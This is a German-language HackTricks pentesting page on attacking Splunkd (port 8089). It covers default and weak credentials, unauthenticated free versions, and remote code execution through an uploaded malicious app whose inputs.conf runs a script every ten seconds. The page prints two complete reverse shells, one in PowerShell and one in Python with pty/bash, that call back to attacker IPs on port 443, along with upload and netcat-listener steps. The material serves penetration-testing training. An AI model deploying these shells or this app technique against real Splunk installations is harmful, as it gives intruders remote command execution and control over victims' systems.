8089 - Pentesting Splunkd

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Grundinformationen

  • Log-Analyse-Tool zur Datensammlung, Analyse und Visualisierung
  • Häufig verwendet in der Sicherheitsüberwachung und Geschäftsanalytik
  • Standardports:
  • Webserver: 8000
  • Splunkd-Dienst: 8089

Schwachstellenvektoren:

  1. Ausnutzung der kostenlosen Version
  • Testversion wird nach 60 Tagen automatisch in die kostenlose Version umgewandelt
  • Kostenlose Version hat keine Authentifizierung
  • Potenzielles Sicherheitsrisiko, wenn sie nicht verwaltet wird
  • Administratoren könnten die Sicherheitsimplikationen übersehen
  1. Anmeldeinformationen-Schwächen
  • Ältere Versionen: Standardanmeldeinformationen admin:changeme
  • Neuere Versionen: Anmeldeinformationen werden während der Installation festgelegt
  • Potenzial für die Verwendung schwacher Passwörter (z.B. admin, Welcome, Password123)
  1. Möglichkeiten zur Remote-Code-Ausführung
  • Mehrere Methoden zur Codeausführung:
  • Serverseitige Django-Anwendungen
  • REST-Endpunkte
  • Skripteingaben
  • Alarmierungsskripte
  • Plattformübergreifende Unterstützung (Windows/Linux)
  • Skripteingaben können ausführen:
  • Bash-Skripte
  • PowerShell-Skripte
  • Batch-Skripte

Wichtiges Ausnutzungspotenzial:

  • Speicherung sensibler Daten
  • Fehlende Authentifizierung in der kostenlosen Version
  • Mehrere Vektoren für potenzielle Remote-Code-Ausführung
  • Möglichkeit, Skripteingaben für die Kompromittierung des Systems zu nutzen

Shodan

  • Splunk build

RCE

Erstellen einer benutzerdefinierten Anwendung

Splunk bietet eine ausgeklügelte Methode zur Remote-Code-Ausführung durch die Bereitstellung benutzerdefinierter Anwendungen, die seine plattformübergreifenden Skriptingfähigkeiten nutzen. Die grundlegende Ausnutzungstechnik dreht sich um die Erstellung einer bösartigen Anwendung, die Reverse Shells auf sowohl Windows- als auch Linux-Systemen ausführen kann.

Eine benutzerdefinierte Anwendung kann Python, Batch, Bash oder PowerShell-Skripte ausführen. Darüber hinaus kommt Splunk mit installiertem Python, sodass Sie selbst auf Windows-Systemen Python-Code ausführen können.

Sie können dieses Beispiel mit dem bin verwenden, das Beispiele für Python und PowerShell enthält. Oder Sie könnten Ihre eigene erstellen.

Der Ausnutzungsprozess folgt einer konsistenten Methodik über Plattformen hinweg:

splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)

Die kritische Konfigurationsdatei inputs.conf aktiviert das Skript durch:

  • Festlegen von disabled = 0
  • Konfigurieren eines 10-Sekunden-Ausführungsintervalls
  • Definieren des Quelltyps des Skripts

Die Bereitstellung ist unkompliziert:

  1. Erstellen Sie das bösartige Anwendungs-Paket
  2. Richten Sie einen Listener (Netcat/socat) auf der angreifenden Maschine ein
  3. Laden Sie die Anwendung über die Schnittstelle von Splunk hoch
  4. Auslösen der automatischen Skriptausführung nach dem Hochladen

Beispiel für eine Windows PowerShell Reverse Shell:

powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

Beispiel für eine Linux Python Reverse Shell:

python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

RCE & Privilegieneskalation

Auf der folgenden Seite finden Sie eine Erklärung, wie dieser Dienst missbraucht werden kann, um Privilegien zu eskalieren und Persistenz zu erlangen:

Splunk LPE and Persistence

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks